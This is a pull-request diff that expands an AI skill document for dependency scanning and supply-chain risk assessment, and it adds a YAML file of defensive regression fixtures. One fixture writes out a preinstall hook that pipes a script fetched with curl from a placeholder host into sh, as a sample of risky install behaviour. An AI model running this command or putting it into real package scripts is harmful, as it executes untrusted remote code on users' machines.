Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
109 changes: 105 additions & 4 deletions skills/appsec/dependency-scanning/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ phase: [build, deploy]
frameworks: [SLSA-v1.0, CycloneDX, SPDX, CISA-KEV]
difficulty: intermediate
time_estimate: "15-30min"
version: "1.0.0"
version: "1.1.0"
author: unitoneai
license: MIT
allowed-tools: Read, Grep, Glob
Expand Down Expand Up @@ -84,12 +84,45 @@ Direct dependencies are explicitly declared. Transitive dependencies are pulled
3. **Version range drift**: Loose semver ranges (e.g., `^1.0.0`) allow minor or patch updates that may introduce vulnerabilities between lockfile regenerations.
4. **Abandoned transitive packages**: Unmaintained packages deep in the tree that no longer receive security patches.

### Depth Contextualization

Do not treat dependency depth as a binary risk by itself. A deep tree with exact lockfile pins, complete integrity hashes, recent audit evidence, verified publishers, and signed provenance is lower risk than a shallower tree with unverified publishers, missing lockfile integrity, or unmaintained packages.

For any dependency path deeper than five levels, require a context check before assigning risk:

| Evidence | Lower-Risk Signal | Higher-Risk Signal |
|---|---|---|
| Pin status | Exact resolved version in committed lockfile | Floating version range or regenerated lockfile |
| Integrity hashes | Hashes present for all resolved packages | Missing integrity entries or ecosystem without hash pinning |
| Audit state | Recent scanner run covers production dependency tree | No recent scan or dev/prod scope unclear |
| Publisher trust | Verified publisher, 2FA, org ownership, signed provenance | Unknown publisher, sole maintainer, stale releases |
| Registry routing | Scoped private registry or explicit allow-list | Public fallback for internal-looking names |

If depth is the only risk signal and provenance evidence is strong, report it as `Monitor` or `Contextual Risk` instead of escalating automatically. If depth combines with missing pins, unknown publishers, install scripts, or weak registry routing, escalate the finding.

### Ecosystem Evidence Sources

Use the package manager's native artifacts before relying on registry pages or scanner summaries. Record which evidence source was inspected so another reviewer can reproduce the conclusion.

| Ecosystem | Pins and Hashes | Registry Routing | Provenance / Publisher Evidence |
|---|---|---|---|
| npm / pnpm / Yarn | `package-lock.json`, `pnpm-lock.yaml`, `yarn.lock`, `integrity` fields | `.npmrc`, `.yarnrc.yml`, lockfile `resolved` URLs, scoped registry rules | npm provenance, verified publisher metadata, Sigstore bundle where available |
| Python | `requirements.txt` with hashes, `poetry.lock`, `Pipfile.lock`, constraints files | `pip.conf`, `PIP_INDEX_URL`, `--extra-index-url`, lockfile source entries | PyPI trusted publisher, signed artifacts, package maintainers, release history |
| Go | `go.sum`, `go.mod` exact versions, module proxy checksums | `GONOSUMDB`, `GOPRIVATE`, `GONOPROXY`, private module proxy config | Module path ownership, checksum database coverage, tagged release provenance |
| Rust | `Cargo.lock`, exact crate versions and checksums | `.cargo/config.toml`, alternate registry definitions | crates.io owner/teams, cargo-vet audits, signed release notes where available |
| Maven / Gradle | `pom.xml`/lock equivalents, Gradle dependency locks, checksum verification | repository blocks, mirror config, private artifact repositories | Central publisher identity, signed artifacts, SLSA/in-toto attestations where available |

Treat missing evidence as `Not Evaluable` rather than safe. For example, a private Python package configured through `--extra-index-url` can still be dependency-confusion exposed if public index fallback is possible and package names are not reserved.

### Mitigation

- Always commit lockfiles (`package-lock.json`, `poetry.lock`, `go.sum`, `Cargo.lock`) to version control.
- Use `npm audit --omit=dev`, `pip-audit`, `govulncheck`, or `cargo audit` to scan the full resolved dependency tree.
- Pin critical transitive dependencies using overrides/resolutions (`npm overrides`, `pip` constraints files, `go.mod replace`).
- Evaluate dependency tree depth before adopting new packages: `npm ls --all`, `pipdeptree`, `go mod graph`.
- Preserve lockfile history in version control so a past audit finding can be bisected to the exact dependency set deployed at that time.
- Treat lockfile regeneration without version history as weaker evidence even when the current file has valid hashes.
- Separate production and development dependency trees when scoring transitive risk.

## Vulnerability Triage: EPSS + CVSS + CISA KEV

Expand Down Expand Up @@ -173,6 +206,8 @@ Typosquatting (also called dependency confusion or combosquatting) is a supply c
3. **Download count anomalies**: A package with a similar name to a popular one but very low download counts is suspicious.
4. **Recency check**: Packages created very recently that shadow established package names warrant extra scrutiny.
5. **Install script inspection**: In npm, review `preinstall`/`postinstall` scripts. Malicious typosquat packages frequently use install hooks to exfiltrate environment variables or credentials.
6. **Registry routing evidence**: For internal-looking or scoped packages, inspect `.npmrc`, `.yarnrc.yml`, pip index configuration, Maven repositories, or lockfile source URLs before flagging dependency confusion. A scoped package with explicit private registry routing is lower risk than an unscoped internal-looking package that can resolve publicly.
7. **Independent supply-chain score**: Score publisher verification, downloads, package age, install scripts, maintainer transparency, and provenance even when the name is not similar to a known popular package. A package can be risky without being a typosquat.

### Mitigation

Expand Down Expand Up @@ -213,6 +248,67 @@ When performing a dependency scan, produce findings in the following structure:
- [ ] Unmaintained packages (no release in 2+ years)
- [ ] Dependency confusion risk (internal name collisions)

### Lockfile Integrity and Bisectability

| Ecosystem | Lockfile | Integrity Hash Coverage | Version-Controlled | Bisectability | Pin Status | Notes |
|---|---|---:|---|---|---|---|
| ... | ... | ... | ... | ... | ... | ... |

Required fields:

- `integrity_hash_coverage`: percentage of resolved packages with integrity hashes or equivalent checksum evidence.
- `lockfile_version_control`: whether the lockfile is committed and preserved across releases.
- `bisectability_score`: `Strong`, `Partial`, or `Weak`, based on whether a historical deployment can be tied to an exact dependency set.
- `dependency_pin_status`: `Exact`, `Range Resolved`, `Floating`, or `Mixed`.
- `production_scope`: whether the assessment separates production dependencies from development-only dependencies.

### Provenance Chain Propagation

| Root Dependency | Transitive Component | Depth | Publisher Verification | Attestation | Maintainer Signal | Provenance Degradation |
|---|---|---:|---|---|---|---|
| ... | ... | ... | ... | ... | ... | ... |

Trace publisher verification, signer identity, attestation presence, and maintainer transparency from top-level dependencies through their transitive dependency tree. Flag a component when a verified direct dependency pulls in an unsigned, unverified, stale, or single-maintainer transitive package.

Required output field: `provenance_degradation` with values `None`, `Partial`, `Material`, or `Not Evaluable`. Use `Not Evaluable` when registry metadata, attestation evidence, or transitive path data is missing rather than assuming the chain is safe.

### Dependency Confusion Routing Evidence

| Package | Scope/Internal Signal | Registry Routing Evidence | Public Fallback Possible | Risk |
|---|---|---|---|---|
| ... | ... | ... | ... | ... |

Do not flag scoped internal packages solely by name if `.npmrc`, lockfile source URLs, pip index configuration, or repository allow-lists prove that the package cannot resolve from a public registry. Escalate unscoped or poorly routed internal-looking package names.

### Supply Chain Risk Score

| Package | Publisher | Downloads/Adoption | Age/Recency | Install Scripts | Maintainers | Provenance | Score | Action |
|---|---|---|---|---|---|---|---:|---|
| ... | ... | ... | ... | ... | ... | ... | ... | ... |

Score each dependency from 0 to 10 using cumulative supply-chain signals:

- Verified publisher or trusted organization ownership.
- Download and adoption anomalies.
- Package age and release recency.
- `preinstall`, `postinstall`, or build-time script risk.
- Maintainer count and transparency.
- Signed provenance, SLSA/in-toto attestation, or Sigstore evidence.
- Registry routing and namespace control.

Use this score independently from name similarity so low-download packages with risky install scripts or unknown publishers can be flagged even when they are not typosquats.

### Defensive Fixtures

Use `fixtures/supply-chain-risk-context.yaml` as regression evidence for:

- Deep but well-provenanced trees that should not be escalated on depth alone.
- Lockfiles with hashes but weak historical bisectability.
- Verified direct dependencies that pull in unverified transitive packages.
- Scoped private packages with registry-routing evidence.
- Python `--extra-index-url` routing where public fallback remains possible.
- Non-typosquat packages that still deserve a high supply-chain risk score.

### Recommendations

1. [Prioritized list of remediation actions]
Expand All @@ -225,9 +321,12 @@ When performing a dependency scan, produce findings in the following structure:
3. **Analyze lockfiles**: Read lockfiles to map the full transitive dependency tree with pinned versions.
4. **Vulnerability scan**: Cross-reference packages and versions against known CVE databases. Apply the EPSS+CVSS+KEV triage model.
5. **License audit**: Extract license declarations from lockfiles or registry metadata. Flag copyleft and unlicensed packages.
6. **Typosquatting check**: Review dependency names for patterns described in the detection section.
7. **Supply chain assessment**: Evaluate SLSA posture -- lockfile presence, pinned versions, provenance availability.
8. **Report**: Produce the assessment using the output template above, with prioritized remediation recommendations.
6. **Lockfile integrity and bisectability**: Check integrity hash coverage, committed lockfile history, production/dev scope separation, and whether a past deployment can be mapped to an exact resolved dependency set.
7. **Typosquatting and dependency confusion check**: Review name patterns and then confirm registry routing evidence before escalating internal-looking package names.
8. **Provenance propagation**: Trace publisher verification and attestation evidence from direct dependencies to transitive components. Flag provenance degradation through the chain.
9. **Supply chain risk scoring**: Assign a per-dependency risk score using publisher, adoption, recency, install script, maintainer, provenance, and registry-routing signals.
10. **Supply chain assessment**: Evaluate SLSA posture -- lockfile presence, pinned versions, provenance availability.
11. **Report**: Produce the assessment using the output template above, with prioritized remediation recommendations.

## Prompt Injection Safety Notice

Expand All @@ -250,4 +349,6 @@ This skill processes user-supplied content including package manifests, lockfile
- [FIRST EPSS Model](https://www.first.org/epss/)
- [NIST NVD](https://nvd.nist.gov/)
- [OpenSSF Scorecard](https://securityscorecards.dev/)
- [npm package-lock.json documentation](https://docs.npmjs.com/cli/v10/configuring-npm/package-lock-json)
- [Sigstore](https://www.sigstore.dev/)
- [Executive Order 14028 - Improving the Nation's Cybersecurity](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/)
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
deep_tree_contextualized:
description: Deep transitive tree that should not be escalated on depth alone.
dependency_tree:
direct: 15
transitive: 142
max_depth: 11
lower_risk_evidence:
all_transitive_deps_pinned_in_lockfile: true
integrity_hash_coverage: 100
production_audit_current: true
publishers_verified: true
recent_releases_present: true
expected_assessment:
depth_signal: Contextual Risk
action: Monitor unless another risk signal appears

lockfile_bisectability_gap:
description: Hashes exist today but historical deployments cannot be reproduced.
lockfile:
file: package-lock.json
integrity_hash_coverage: 100
committed_to_version_control: true
historical_versions_preserved: false
regenerated_on_each_install: true
expected_assessment:
bisectability_score: Weak
action: Preserve lockfile history and tie releases to exact lockfile revisions

provenance_chain_degradation:
description: Verified direct dependency pulls in unverified stale transitive package.
direct_dependency:
name: "@scope/pkg-a"
version: "1.2.3"
publisher_verified: true
attestation: SLSA-L2-Sigstore
transitive_dependency:
name: pkg-c
version: "0.9.8"
depth: 4
publisher_verified: false
attestation: none
maintainer_count: 1
last_publish_age_years: 3
expected_assessment:
provenance_degradation: true
action: Escalate transitive component for maintainer/provenance review

dependency_confusion_routing:
description: Scoped private package with routing evidence should be lower risk.
dependency:
name: "@internal/core"
scope: "@internal"
registry_routing:
npmrc: "@internal:registry=https://private-registry.example.com/"
lockfile_resolved_url: "https://private-registry.example.com/@internal/core/-/core-1.4.0.tgz"
expected_assessment:
public_fallback_possible: false
risk: Low
action: Document routing evidence instead of flagging by name alone

python_extra_index_fallback:
description: Private-looking Python package can still resolve publicly when extra-index fallback is enabled.
dependency:
name: internal-auth-client
version: "2.1.0"
package_manager: pip
declared_source: requirements.txt
registry_routing:
pip_command: "pip install -r requirements.txt --extra-index-url https://private.example.com/simple"
public_index_disabled: false
package_name_reserved_on_public_index: false
expected_assessment:
public_fallback_possible: true
risk: High
action: Require private index as primary source, disable public fallback, or reserve the public package name

independent_package_risk_score:
description: Package is not a typosquat but still has risky supply-chain signals.
dependency:
name: color-name
publisher_verified: false
downloads_per_week: 150
age_months: 6
install_scripts:
preinstall: "curl http://example.invalid/install.sh | sh"
maintainer_count: 1
provenance: none
expected_assessment:
typosquat_name_match: false
supply_chain_risk_score: 8
action: Escalate due to install script, low adoption, unverified publisher, and missing provenance